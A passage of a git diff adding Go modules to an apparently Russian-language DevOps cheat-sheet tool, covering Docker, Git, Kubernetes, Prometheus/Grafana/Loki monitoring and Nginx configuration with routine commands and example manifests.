k8s/ \ + --dest-server https://kubernetes.default.svc \ + --dest-namespace production \ + --sync-policy automated \ + --auto-prune + +argocd app list +argocd app sync myapp +argocd app rollback myapp 3`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_docker.go b/modules/devopsmodules/devops_docker.go new file mode 100644 index 0000000..6555837 --- /dev/null +++ b/modules/devopsmodules/devops_docker.go @@ -0,0 +1,250 @@ +package devopsmodules + +import ( + "fmt" + "rubric/utils" +) + +var DockerModule = Module{ + Key: "docker", + Aliases: []string{"d", "container", "podman"}, + Title: "Docker и контейнеры", + Description: "Образы, контейнеры, Dockerfile, Compose, сети, тома, Podman", + Run: showDocker, +} + +func showDocker() { + utils.Header("DevOps — Docker и контейнеры") + + utils.Section("Основные понятия") + utils.Code(`Image (образ) — неизменяемый шаблон (слои файловой системы) +Container — запущенный экземпляр образа (изолированный процесс) +Dockerfile — инструкции для сборки образа +Registry — хранилище образов (Docker Hub, GHCR, ECR, Harbor) +Volume — постоянное хранилище данных вне контейнера +Network — виртуальная сеть между контейнерами + +Изоляция через технологии ядра Linux: +- namespaces (PID, net, mnt, uts, ipc, user) +- cgroups (ограничение ресурсов) +- Union FS (слоистая файловая система)`) + + utils.Section("Управление образами") + utils.Command("docker images", "список образов") + utils.Command("docker pull nginx:1.25", "скачать образ") + utils.Command("docker pull nginx:latest", "последняя версия") + utils.Command("docker push myrepo/myapp:1.0", "отправить в реестр") + utils.Command("docker build -t myapp:1.0 .", "собрать образ из Dockerfile") + utils.Command("docker build -t myapp:1.0 -f Dockerfile.prod .", "из другого Dockerfile") + utils.Command("docker rmi nginx:latest", "удалить образ") + utils.Command("docker image prune", "удалить неиспользуемые образы") + utils.Command("docker inspect nginx", "подробная информация об образе") + utils.Command("docker history nginx", "слои образа") + utils.Command("docker save myapp:1.0 | gzip > myapp.tar.gz", "экспорт образа") + utils.Command("docker load < myapp.tar.gz", "импорт образа") + + utils.Section("Управление контейнерами") + utils.Command("docker run nginx", "запустить контейнер") + utils.Command("docker run -d nginx", "в фоне (detached)") + utils.Command("docker run -d -p 8080:80 --name web nginx", "с портом и именем") + utils.Command("docker run -it ubuntu bash", "интерактивно с терминалом") + utils.Command("docker run --rm alpine echo 'hello'", "удалить после остановки") + fmt.Println() + utils.Code(`# Часто используемые флаги run: +-d — фоновый режим +-p 8080:80 — проброс порта (host:container) +-P — автоматический проброс всех портов +--name web — имя контейнера +-e KEY=value — переменная окружения +--env-file .env — переменные из файла +-v /host:/cont — монтирование тома +--network mynet — подключить к сети +--restart=always — автоперезапуск +--rm — удалить контейнер после остановки +--memory=512m — ограничение RAM +--cpus=0.5 — ограничение CPU +-u 1000:1000 — пользователь`) + + utils.Println(utils.ColorBold + "Жизненный цикл контейнера:" + utils.ColorReset) + utils.Command("docker ps", "запущенные контейнеры") + utils.Command("docker ps -a", "все контейнеры включая остановленные") + utils.Command("docker stop web", "остановить (SIGTERM)") + utils.Command("docker kill web", "принудительно (SIGKILL)") + utils.Command("docker start web", "запустить остановленный") + utils.Command("docker restart web", "перезапустить") + utils.Command("docker rm web", "удалить остановленный") + utils.Command("docker rm -f web", "удалить принудительно") + utils.Command("docker container prune", "удалить все остановленные") + fmt.Println() + utils.Println(utils.ColorBold + "Взаимодействие с контейнером:" + utils.ColorReset) + utils.Command("docker exec -it web bash", "открыть shell в запущенном") + utils.Command("docker exec web ls /etc/nginx", "выполнить команду") + utils.Command("docker logs web", "логи контейнера") + utils.Command("docker logs -f web", "следить за логами") + utils.Command("docker logs --tail 100 web", "последние 100 строк") + utils.Command("docker cp web:/etc/nginx/nginx.conf .", "скопировать файл из контейнера") + utils.Command("docker cp nginx.conf web:/etc/nginx/", "скопировать в контейнер") + utils.Command("docker stats", "использование ресурсов") + utils.Command("docker top web", "процессы в контейнере") + + utils.Section("Dockerfile") + utils.Code(`# Dockerfile — инструкции сборки образа: +FROM ubuntu:22.04 # базовый образ +LABEL maintainer="alice@example.com" # метаданные + +# Установка зависимостей: +RUN apt-get update && \ + apt-get install -y python3 python3-pip && \ + rm -rf /var/lib/apt/lists/* # очищаем кэш в том же слое + +WORKDIR /app # рабочая директория +COPY requirements.txt . # копировать файлы +RUN pip install -r requirements.txt # установить зависимости +COPY . . # копировать код + +ENV APP_ENV=production # переменные окружения +EXPOSE 8000 # документировать порт +VOLUME ["/app/data"] # объявить том + +USER 1000:1000 # непривилегированный пользователь +CMD ["python3", "-m", "uvicorn", "main:app", "--host", "0.0.0.0"]`) + + utils.Code(`# Многоэтапная сборка (multi-stage) — уменьшает итоговый размер: +FROM golang:1.22 AS builder +WORKDIR /build +COPY go.mod go.sum ./ +RUN go mod download +COPY . . +RUN CGO_ENABLED=0 go build -o app . + +FROM alpine:3.19 +RUN apk add --no-cache ca-certificates +WORKDIR /app +COPY --from=builder /build/app . +USER 65534:65534 +CMD ["./app"]`) + + utils.Note("COPY requirements.txt и pip install ПЕРЕД COPY . — слои кэшируются, сборка быстрее.") + utils.Note("Всегда указывай конкретный тег образа (не latest) для воспроизводимости.") + + utils.Section("Тома (Volumes)") + utils.Code(`Типы хранилища: +Volume — управляется Docker (/var/lib/docker/volumes/) +Bind mount — директория хоста, монтируется в контейнер +tmpfs — только в памяти (временное) + +# Named volume: +docker volume create mydata +docker run -v mydata:/app/data nginx +docker volume ls +docker volume inspect mydata +docker volume rm mydata +docker volume prune + +# Bind mount: +docker run -v /host/path:/container/path nginx +docker run -v $(pwd):/app nginx # текущая директория + +# tmpfs: +docker run --tmpfs /tmp nginx`) + + utils.Section("Сети (Networks)") + utils.Code(`Типы сетей: +bridge — виртуальная сеть по умолчанию (контейнеры изолированы от хоста) +host — контейнер использует сеть хоста напрямую +none — без сети +overlay — между несколькими хостами (Docker Swarm) + +docker network ls +docker network create mynet +docker network create --subnet=172.20.0.0/16 mynet +docker run --network mynet --name db postgres +docker run --network mynet --name app myapp # app может обращаться к db по имени! +docker network connect mynet container1 +docker network disconnect mynet container1 +docker network inspect mynet +docker network rm mynet`) + + utils.Section("Docker Compose") + utils.Code(`# docker-compose.yml — многоконтейнерное приложение: +version: '3.9' + +services: + web: + build: . + ports: + - "8080:8000" + environment: + - DATABASE_URL=postgresql://user:pass@db:5432/mydb + volumes: + - ./:/app + depends_on: + db: + condition: service_healthy + restart: unless-stopped + + db: + image: postgres:16 + environment: + POSTGRES_USER: user + POSTGRES_PASSWORD: pass + POSTGRES_DB: mydb + volumes: + - pgdata:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U user"] + interval: 5s + timeout: 5s + retries: 5 + + redis: + image: redis:7-alpine + command: redis-server --appendonly yes + volumes: + - redisdata:/data + +volumes: + pgdata: + redisdata: + +networks: + default: + name: myapp-network`) + + utils.Println(utils.ColorBold + "Команды Compose:" + utils.ColorReset) + utils.Command("docker compose up -d", "запустить все сервисы в фоне") + utils.Command("docker compose up -d --build", "пересобрать образы") + utils.Command("docker compose down", "остановить и удалить контейнеры") + utils.Command("docker compose down -v", "удалить и тома") + utils.Command("docker compose ps", "статус сервисов") + utils.Command("docker compose logs -f web", "логи сервиса") + utils.Command("docker compose exec web bash", "shell в сервисе") + utils.Command("docker compose restart web", "перезапустить сервис") + utils.Command("docker compose scale web=3", "масштабировать сервис") + + utils.Section("Podman — альтернатива без демона") + utils.Code(`Podman — daemonless, rootless, совместим с Docker CLI. +Используется в RHEL вместо Docker. + +# Команды идентичны Docker: +podman run -d -p 8080:80 nginx +podman build -t myapp . +podman ps +podman images + +# Rootless-контейнеры (без root): +podman run --user 1000 nginx + +# Podman Compose: +podman-compose up -d + +# Генерация systemd-юнита для контейнера: +podman generate systemd --name mycontainer > /etc/systemd/system/mycontainer.service + +# Podman Pod (группа контейнеров с общей сетью): +podman pod create --name mypod -p 8080:80 +podman run -d --pod mypod nginx +podman pod ps`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_git.go b/modules/devopsmodules/devops_git.go new file mode 100644 index 0000000..35a48de --- /dev/null +++ b/modules/devopsmodules/devops_git.go @@ -0,0 +1,148 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var GitModule = Module{ + Key: "git", + Aliases: []string{"g", "vcs"}, + Title: "Git — система контроля версий", + Description: "Основы, ветвление, merge/rebase, удалённые репозитории, рабочие процессы", + Run: showGit, +} + +func showGit() { + utils.Header("DevOps — Git") + + utils.Section("Основы и настройка") + utils.Code(`# Первоначальная настройка: +git config --global user.name "Alice Smith" +git config --global user.email "alice@example.com" +git config --global core.editor vim +git config --global init.defaultBranch main +git config --global pull.rebase false # merge при pull +git config --list`) + + utils.Println(utils.ColorBold + "Создание репозитория:" + utils.ColorReset) + utils.Command("git init", "инициализировать в текущей папке") + utils.Command("git clone https://github.com/user/repo", "клонировать") + utils.Command("git clone --depth 1 https://github.com/user/repo", "только последний коммит") + utils.Command("git clone -b develop https://github.com/user/repo", "конкретная ветка") + + utils.Section("Базовые операции") + utils.Code(`git status # состояние рабочей директории +git status -s # краткий формат + +# Staging: +git add file.txt # конкретный файл +git add . # все изменения +git add -p # интерактивно по кускам + +# Коммит: +git commit -m "feat: добавить авторизацию" +git commit -am "fix: исправить баг" # add + commit +git commit --amend # изменить последний коммит + +# История: +git log --oneline --graph --all # граф всех веток +git log --since="2 weeks ago" --author="Alice" +git log -p file.txt # история файла с диффом`) + + utils.Println(utils.ColorBold + "Diff и просмотр:" + utils.ColorReset) + utils.Command("git diff", "изменения не в staging") + utils.Command("git diff --staged", "изменения в staging") + utils.Command("git diff main..feature", "между ветками") + utils.Command("git show abc1234", "конкретный коммит") + utils.Command("git blame file.txt", "кто написал каждую строку") + + utils.Section("Ветвление") + utils.Code(`git branch # список локальных веток +git branch -a # включая удалённые +git switch -c feature/login # создать и переключиться +git switch main # переключиться +git branch -d feature/login # удалить влитую ветку +git branch -D feature/login # принудительно + +# Merge: +git merge --no-ff feature/login # всегда создавать merge commit +git merge --squash feature/login # слить все коммиты в один +git merge --abort # отменить при конфликте + +# Rebase: +git rebase main # перенести коммиты поверх main +git rebase -i HEAD~3 # интерактивный (squash, reword, drop...) +git rebase --abort / --continue`) + + utils.Note("Не делай rebase публичных веток, которые уже запушены.") + + utils.Section("Удалённые репозитории") + utils.Command("git remote -v", "список удалённых") + utils.Command("git remote add origin https://github.com/user/repo", "добавить") + utils.Command("git fetch --all", "скачать изменения без слияния") + utils.Command("git pull --rebase", "fetch + rebase") + utils.Command("git push -u origin feature/login", "отправить и установить upstream") + utils.Command("git push --force-with-lease", "force push с проверкой (безопаснее --force)") + + utils.Section("Откат изменений") + utils.Code(`git restore file.txt # вернуть файл как в HEAD +git restore --staged file.txt # убрать из staging +git revert HEAD # новый коммит-отмена +git reset HEAD~1 # убрать последний коммит, оставить изменения +git reset --hard HEAD~1 # убрать коммит И изменения (осторожно!) + +# Stash — временное сохранение: +git stash push -m "wip: форма логина" +git stash list +git stash pop # восстановить последний +git stash branch feature/wip # создать ветку из stash`) + + utils.Section("Теги и продвинутые команды") + utils.Code(`git tag -a v1.0.0 -m "Релиз" # аннотированный тег +git push origin --tags # отправить все теги + +# Cherry-pick — перенести конкретный коммит: +git cherry-pick abc1234 + +# Bisect — бинарный поиск бага: +git bisect start +git bisect bad # текущая версия сломана +git bisect good v1.0.0 # эта работала +# git bisect good / bad до нахождения +git bisect reset`) + + utils.Section("Рабочие процессы (Workflows)") + utils.Code(`Git Flow: + main — продакшн (только теги релизов) + develop — интеграционная ветка + feature/* — новые функции (от develop) + release/* — подготовка релиза + hotfix/* — срочные правки (от main) + +GitHub Flow (проще): + main — всегда рабочий код + feature/* — ветка от main → Pull Request → merge + +Trunk-Based Development (для CI/CD): + main — единая ветка, коммиты несколько раз в день + Короткоживущие ветки (< 1 дня), feature flags + +Conventional Commits: + feat: — новая функциональность + fix: — исправление бага + docs: — документация + refactor: — рефакторинг + test: — тесты + chore: — сборка, зависимости`) + + utils.Code(`# .gitignore — игнорируемые файлы: +*.log +node_modules/ +.env +__pycache__/ +build/ +dist/ +.DS_Store`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_kubernetes.go b/modules/devopsmodules/devops_kubernetes.go new file mode 100644 index 0000000..f4d65fb --- /dev/null +++ b/modules/devopsmodules/devops_kubernetes.go @@ -0,0 +1,263 @@ +package devopsmodules + +import ( + "fmt" + "rubric/utils" +) + +var KubernetesModule = Module{ + Key: "kubernetes", + Aliases: []string{"k8s", "k", "kube"}, + Title: "Kubernetes", + Description: "Архитектура, Pod/Deployment/Service, kubectl, ConfigMap, Ingress, Helm", + Run: showKubernetes, +} + +func showKubernetes() { + utils.Header("DevOps — Kubernetes") + + utils.Section("Архитектура кластера") + utils.Code(`Control Plane (мастер-узлы): + kube-apiserver — API-сервер, точка входа для всех запросов + etcd — распределённая БД, хранит состояние кластера + kube-scheduler — решает на какой узел помещать Pod + kube-controller-manager — следит за состоянием (ReplicaSet, Node...) + cloud-controller-manager — интеграция с облаком (AWS, GCP, Azure) + +Worker Nodes (рабочие узлы): + kubelet — агент, запускает и следит за Pod-ами + kube-proxy — сетевые правила (iptables/ipvs) + Container Runtime — containerd, CRI-O (запуск контейнеров) + +Основные объекты: + Pod — минимальная единица, 1+ контейнеров с общей сетью + ReplicaSet — поддерживает N копий Pod-а + Deployment — управляет ReplicaSet, rolling updates + Service — стабильный IP/DNS для набора Pod-ов + Ingress — HTTP-маршрутизация снаружи в Service + ConfigMap — конфигурация (не секреты) + Secret — секреты (base64) + Namespace — логическое разделение кластера + PV/PVC — постоянное хранилище + StatefulSet — Pod-ы с постоянной идентичностью (БД) + DaemonSet — по одному Pod-у на каждый узел + Job/CronJob — разовые и периодические задачи`) + + utils.Section("kubectl — основные команды") + utils.Code(`# Контексты и кластеры: +kubectl config get-contexts # список контекстов +kubectl config use-context prod # переключить кластер +kubectl config current-context +export KUBECONFIG=~/.kube/config`) + + utils.Println(utils.ColorBold + "Просмотр ресурсов:" + utils.ColorReset) + utils.Command("kubectl get pods", "Pod-ы в текущем namespace") + utils.Command("kubectl get pods -n kube-system", "в namespace kube-system") + utils.Command("kubectl get pods -A", "во всех namespace") + utils.Command("kubectl get pods -o wide", "с IP и узлом") + utils.Command("kubectl get all", "все ресурсы namespace") + utils.Command("kubectl describe pod mypod", "подробная информация") + utils.Command("kubectl logs mypod", "логи Pod-а") + utils.Command("kubectl logs -f mypod -c mycontainer", "следить, конкретный контейнер") + utils.Command("kubectl exec -it mypod -- bash", "shell в Pod-е") + utils.Command("kubectl top pods", "использование ресурсов") + utils.Command("kubectl top nodes", "ресурсы узлов") + fmt.Println() + utils.Println(utils.ColorBold + "Применение манифестов:" + utils.ColorReset) + utils.Command("kubectl apply -f deployment.yaml", "применить манифест") + utils.Command("kubectl apply -f ./manifests/", "применить директорию") + utils.Command("kubectl delete -f deployment.yaml", "удалить по манифесту") + utils.Command("kubectl delete pod mypod", "удалить Pod") + utils.Command("kubectl get pod mypod -o yaml", "экспортировать манифест") + utils.Command("kubectl edit deployment myapp", "редактировать в редакторе") + + utils.Section("Основные объекты — манифесты") + utils.Code(`# Pod (редко создаётся напрямую): +apiVersion: v1 +kind: Pod +metadata: + name: mypod + labels: + app: myapp +spec: + containers: + - name: myapp + image: myapp:1.0 + ports: + - containerPort: 8000 + resources: + requests: + memory: "64Mi" + cpu: "100m" + limits: + memory: "128Mi" + cpu: "500m" + env: + - name: DATABASE_URL + valueFrom: + secretKeyRef: + name: myapp-secret + key: db-url + livenessProbe: + httpGet: + path: /health + port: 8000 + initialDelaySeconds: 10 + periodSeconds: 15 + readinessProbe: + httpGet: + path: /ready + port: 8000`) + + utils.Code(`# Deployment: +apiVersion: apps/v1 +kind: Deployment +metadata: + name: myapp + namespace: production +spec: + replicas: 3 + selector: + matchLabels: + app: myapp + strategy: + type: RollingUpdate + rollingUpdate: + maxSurge: 1 + maxUnavailable: 0 + template: + metadata: + labels: + app: myapp + spec: + containers: + - name: myapp + image: myapp:1.0 + ports: + - containerPort: 8000`) + + utils.Code(`# Service: +apiVersion: v1 +kind: Service +metadata: + name: myapp-svc +spec: + selector: + app: myapp + ports: + - port: 80 + targetPort: 8000 + type: ClusterIP # ClusterIP / NodePort / LoadBalancer + +# ClusterIP — только внутри кластера +# NodePort — доступен снаружи на порту 30000-32767 +# LoadBalancer — облачный балансировщик`) + + utils.Code(`# Ingress: +apiVersion: networking.k8s.io/v1 +kind: Ingress +metadata: + name: myapp-ingress + annotations: + nginx.ingress.kubernetes.io/rewrite-target: / +spec: + ingressClassName: nginx + rules: + - host: myapp.example.com + http: + paths: + - path: / + pathType: Prefix + backend: + service: + name: myapp-svc + port: + number: 80 + tls: + - hosts: + - myapp.example.com + secretName: myapp-tls`) + + utils.Code(`# ConfigMap: +apiVersion: v1 +kind: ConfigMap +metadata: + name: myapp-config +data: + LOG_LEVEL: "info" + APP_PORT: "8000" + nginx.conf: | + server { + listen 80; + location / { proxy_pass http://backend; } + } + +# Secret (значения в base64): +apiVersion: v1 +kind: Secret +metadata: + name: myapp-secret +type: Opaque +data: + db-password: cGFzc3dvcmQ= # echo -n 'password' | base64 +stringData: + db-url: "postgresql://user:pass@db:5432/mydb" # автоматически base64`) + + utils.Section("Масштабирование и обновление") + utils.Command("kubectl scale deployment myapp --replicas=5", "масштабировать") + utils.Command("kubectl rollout status deployment/myapp", "статус обновления") + utils.Command("kubectl rollout history deployment/myapp", "история обновлений") + utils.Command("kubectl rollout undo deployment/myapp", "откатить обновление") + utils.Command("kubectl rollout undo deployment/myapp --to-revision=2", "к конкретной версии") + utils.Command("kubectl set image deployment/myapp myapp=myapp:2.0", "обновить образ") + + utils.Section("Namespaces и RBAC") + utils.Code(`kubectl create namespace staging +kubectl get namespaces + +# ResourceQuota — ограничения ресурсов namespace: +apiVersion: v1 +kind: ResourceQuota +metadata: + name: staging-quota + namespace: staging +spec: + hard: + requests.cpu: "4" + requests.memory: 8Gi + limits.cpu: "8" + limits.memory: 16Gi + pods: "50" + +# RBAC — управление доступом: +# Role → namespace, ClusterRole → весь кластер +# RoleBinding / ClusterRoleBinding → привязка к субъекту +kubectl create role developer --verb=get,list,create --resource=pods -n staging +kubectl create rolebinding alice-developer \ + --role=developer --user=alice -n staging`) + + utils.Section("Helm — пакетный менеджер Kubernetes") + utils.Code(`# Установка: https://helm.sh/docs/intro/install/ + +helm repo add bitnami https://charts.bitnami.com/bitnami +helm repo update +helm search repo bitnami/postgresql + +helm install mydb bitnami/postgresql \ + --set auth.postgresPassword=secret \ + --set primary.persistence.size=20Gi \ + --namespace db --create-namespace + +helm list -A # установленные релизы +helm status mydb # статус релиза +helm upgrade mydb bitnami/postgresql --set auth.postgresPassword=newsecret +helm rollback mydb 1 # откатить +helm uninstall mydb + +# Создать свой chart: +helm create mychart +helm template mychart ./mychart/ # рендеринг без установки +helm install myapp ./mychart/ -f values.yaml`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_monitoring.go b/modules/devopsmodules/devops_monitoring.go new file mode 100644 index 0000000..1def95c --- /dev/null +++ b/modules/devopsmodules/devops_monitoring.go @@ -0,0 +1,261 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var MonitoringModule = Module{ + Key: "monitoring", + Aliases: []string{"mon", "prometheus", "grafana", "observability"}, + Title: "Мониторинг и наблюдаемость", + Description: "Prometheus, Grafana, AlertManager, Loki, трассировка, метрики", + Run: showMonitoring, +} + +func showMonitoring() { + utils.Header("DevOps — Мониторинг и наблюдаемость") + + utils.Section("Три столпа наблюдаемости") + utils.Code(`Metrics — числовые измерения во времени (CPU, RPS, latency) +Logs — события с временными метками и контекстом +Traces — путь запроса через микросервисы (span, trace) + +Популярный стек: + Prometheus + Grafana — метрики и визуализация + Loki — логи (как Prometheus, но для логов) + Tempo / Jaeger — распределённая трассировка + AlertManager — маршрутизация алертов + +Облачные альтернативы: + Datadog, New Relic, Dynatrace — коммерческие + AWS CloudWatch, GCP Monitoring, Azure Monitor`) + + utils.Section("Prometheus") + utils.Code(`Prometheus — pull-based система мониторинга. +Сам опрашивает (scrape) цели по HTTP /metrics. + +Типы метрик: + Counter — только растёт (запросы, ошибки) + Gauge — любое значение (CPU%, размер очереди) + Histogram — распределение значений (latency, размер запроса) + Summary — квантили (p50, p95, p99 latency) + +# prometheus.yml — конфигурация: +global: + scrape_interval: 15s + evaluation_interval: 15s + +alerting: + alertmanagers: + - static_configs: + - targets: ['alertmanager:9093'] + +rule_files: + - "alerts/*.yml" + +scrape_configs: + - job_name: 'prometheus' + static_configs: + - targets: ['localhost:9090'] + + - job_name: 'node-exporter' + static_configs: + - targets: ['node1:9100', 'node2:9100'] + + - job_name: 'kubernetes-pods' + kubernetes_sd_configs: + - role: pod + relabel_configs: + - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape] + action: keep + regex: "true"`) + + utils.Println(utils.ColorBold + "PromQL — язык запросов:" + utils.ColorReset) + utils.Code(`# Мгновенный вектор: +http_requests_total # все метки +http_requests_total{job="api", status="200"} # с фильтром +http_requests_total{status=~"5.."} # regex: 5xx + +# Функции: +rate(http_requests_total[5m]) # скорость за 5 минут +irate(http_requests_total[1m]) # мгновенная скорость +increase(http_requests_total[1h]) # прирост за час +sum(rate(http_requests_total[5m])) # сумма +sum by (status)(rate(http_requests_total[5m])) # группировка + +# Полезные запросы: +# Загрузка CPU: +100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) + +# Свободная RAM: +node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes * 100 + +# Latency p99 (если histogram): +histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) + +# Error rate: +sum(rate(http_requests_total{status=~"5.."}[5m])) +/ sum(rate(http_requests_total[5m])) * 100`) + + utils.Println(utils.ColorBold + "Exporters — источники метрик:" + utils.ColorReset) + utils.Code(`node_exporter — метрики хоста (CPU, RAM, диск, сеть) :9100 +blackbox_exporter — проверка доступности (HTTP, TCP, ICMP) :9115 +mysqld_exporter — MySQL :9104 +postgres_exporter — PostgreSQL :9187 +nginx-vts-exporter — Nginx :9913 +redis_exporter — Redis :9121 +cadvisor — Docker/cgroup метрики :8080 + +# Kubernetes: kube-state-metrics, metrics-server`) + + utils.Section("AlertManager — маршрутизация алертов") + utils.Code(`# Правила алертинга (alerts/nodes.yml): +groups: +- name: nodes + rules: + - alert: HighCPU + expr: 100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 85 + for: 5m + labels: + severity: warning + annotations: + summary: "Высокая загрузка CPU на {{ $labels.instance }}" + description: "CPU загружен на {{ $value | printf \"%.1f\" }}%" + + - alert: DiskRunningOut + expr: node_filesystem_avail_bytes / node_filesystem_size_bytes * 100 < 10 + for: 10m + labels: + severity: critical + annotations: + summary: "Заканчивается место на {{ $labels.instance }}" + + - alert: ServiceDown + expr: up == 0 + for: 1m + labels: + severity: critical + annotations: + summary: "Сервис {{ $labels.job }} недоступен" + +# alertmanager.yml: +global: + slack_api_url: 'https://hooks.slack.com/services/...' + +route: + group_by: ['alertname', 'instance'] + group_wait: 30s + group_interval: 5m + repeat_interval: 4h + receiver: 'slack-warnings' + routes: + - match: + severity: critical + receiver: 'pagerduty' + +receivers: +- name: 'slack-warnings' + slack_configs: + - channel: '#alerts' + title: '{{ .GroupLabels.alertname }}' + text: '{{ range .Alerts }}{{ .Annotations.summary }}\n{{ end }}' + +- name: 'pagerduty' + pagerduty_configs: + - routing_key: ''`) + + utils.Section("Grafana") + utils.Code(`# Запуск (Docker Compose): +services: + grafana: + image: grafana/grafana:latest + ports: + - "3000:3000" + environment: + GF_SECURITY_ADMIN_PASSWORD: secret + GF_USERS_ALLOW_SIGN_UP: "false" + volumes: + - grafana-data:/var/lib/grafana + - ./grafana/provisioning:/etc/grafana/provisioning + +# Provisioning — автоматическая настройка: +# datasources/prometheus.yml: +apiVersion: 1 +datasources: +- name: Prometheus + type: prometheus + url: http://prometheus:9090 + isDefault: true + +# dashboards.yml — загрузка дашбордов из файлов +# Готовые дашборды: grafana.com/grafana/dashboards +# ID 1860 — Node Exporter Full +# ID 13770 — Kubernetes Pods +# ID 9628 — PostgreSQL`) + + utils.Section("Loki — логи как Prometheus") + utils.Code(`# Loki собирает логи, Promtail — агент отправки. + +# promtail-config.yml: +server: + http_listen_port: 9080 + +clients: + - url: http://loki:3100/loki/api/v1/push + +scrape_configs: +- job_name: system + static_configs: + - targets: [localhost] + labels: + job: varlogs + __path__: /var/log/**/*.log + +- job_name: containers + docker_sd_configs: + - host: unix:///var/run/docker.sock + relabel_configs: + - source_labels: [__meta_docker_container_name] + target_label: container + +# LogQL — язык запросов Loki (похож на PromQL): +{job="nginx"} |= "error" # поиск строки +{container="api"} | json | level="error" # парсинг JSON +{job="app"} | logfmt | duration > 1s # фильтр по полю + +rate({job="nginx"} |= "error" [5m]) # скорость ошибок`) + + utils.Section("Kubernetes мониторинг") + utils.Code(`# kube-prometheus-stack (Helm) — полный стек: +helm repo add prometheus-community \ + https://prometheus-community.github.io/helm-charts +helm repo update + +helm install kube-prometheus prometheus-community/kube-prometheus-stack \ + --namespace monitoring --create-namespace \ + --set grafana.adminPassword=secret \ + --set prometheus.prometheusSpec.retention=30d + +# Компоненты стека: +# - Prometheus Operator +# - Prometheus +# - Alertmanager +# - Grafana +# - node-exporter +# - kube-state-metrics + +# ServiceMonitor — автоматический scraping: +apiVersion: monitoring.coreos.com/v1 +kind: ServiceMonitor +metadata: + name: myapp +spec: + selector: + matchLabels: + app: myapp + endpoints: + - port: metrics + interval: 30s`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_nginx.go b/modules/devopsmodules/devops_nginx.go new file mode 100644 index 0000000..209048f --- /dev/null +++ b/modules/devopsmodules/devops_nginx.go @@ -0,0 +1,323 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var NginxModule = Module{ + Key: "nginx", + Aliases: []string{"n", "web", "proxy", "haproxy"}, + Title: "Nginx и балансировка нагрузки", + Description: "Конфигурация, virtual hosts, reverse proxy, SSL/TLS, балансировка, HAProxy", + Run: showNginx, +} + +func showNginx() { + utils.Header("DevOps — Nginx и балансировка нагрузки") + + utils.Section("Основы Nginx") + utils.Code(`# Установка: +apt install nginx # Debian/Ubuntu +dnf install nginx # RHEL/Fedora + +systemctl enable --now nginx +nginx -t # проверить конфигурацию +nginx -s reload # перезагрузить конфиг +nginx -s stop # остановить + +# Структура конфигурации: +/etc/nginx/ +├── nginx.conf # главный файл +├── conf.d/ # дополнительные конфиги (*.conf) +├── sites-available/ # доступные виртуальные хосты +├── sites-enabled/ # включённые (симлинки) +├── snippets/ # переиспользуемые блоки +└── mime.types # MIME-типы`) + + utils.Section("nginx.conf — основной конфиг") + utils.Code(`user nginx; +worker_processes auto; # = количество CPU +error_log /var/log/nginx/error.log warn; +pid /run/nginx.pid; + +events { + worker_connections 1024; # соединений на воркер + multi_accept on; + use epoll; # Linux event model +} + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Логи: + log_format main '$remote_addr - $remote_user [$time_local] ' + '"$request" $status $body_bytes_sent ' + '"$http_referer" "$http_user_agent" ' + 'rt=$request_time uct=$upstream_connect_time'; + access_log /var/log/nginx/access.log main; + + # Производительность: + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + gzip on; + gzip_types text/plain text/css application/json application/javascript; + + # Безопасность: + server_tokens off; # скрыть версию nginx + client_max_body_size 10M; + client_body_timeout 12s; + client_header_timeout 12s; + + include /etc/nginx/conf.d/*.conf; +}`) + + utils.Section("Virtual Hosts (Server Blocks)") + utils.Code(`# /etc/nginx/conf.d/example.com.conf + +# Статический сайт: +server { + listen 80; + server_name example.com www.example.com; + root /var/www/example.com; + index index.html; + + location / { + try_files $uri $uri/ =404; + } + + location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ { + expires 30d; + add_header Cache-Control "public, immutable"; + } + + # Перенаправление на HTTPS: + return 301 https://$host$request_uri; +} + +# HTTPS: +server { + listen 443 ssl http2; + server_name example.com www.example.com; + root /var/www/example.com; + + ssl_certificate /etc/ssl/certs/example.com.crt; + ssl_certificate_key /etc/ssl/private/example.com.key; + + # Современные настройки TLS: + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...; + ssl_prefer_server_ciphers off; + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 10m; + ssl_stapling on; + ssl_stapling_verify on; + + # HSTS: + add_header Strict-Transport-Security "max-age=63072000" always; + add_header X-Frame-Options DENY; + add_header X-Content-Type-Options nosniff; + + location / { + try_files $uri $uri/ =404; + } +}`) + + utils.Section("Reverse Proxy") + utils.Code(`# Проксирование к бэкенду: +server { + listen 443 ssl http2; + server_name api.example.com; + + ssl_certificate /etc/letsencrypt/live/api.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/api.example.com/privkey.pem; + + location / { + proxy_pass http://localhost:8000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection 'upgrade'; # WebSocket + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_cache_bypass $http_upgrade; + + proxy_connect_timeout 30s; + proxy_send_timeout 30s; + proxy_read_timeout 30s; + } + + # Кэширование статики: + location /static/ { + proxy_pass http://localhost:8000/static/; + proxy_cache_valid 200 1d; + expires 1d; + } +}`) + + utils.Section("Балансировка нагрузки") + utils.Code(`# upstream — группа серверов: +upstream myapp { + least_conn; # least connections (или round_robin, ip_hash) + + server backend1:8000 weight=3; # 3x больше запросов 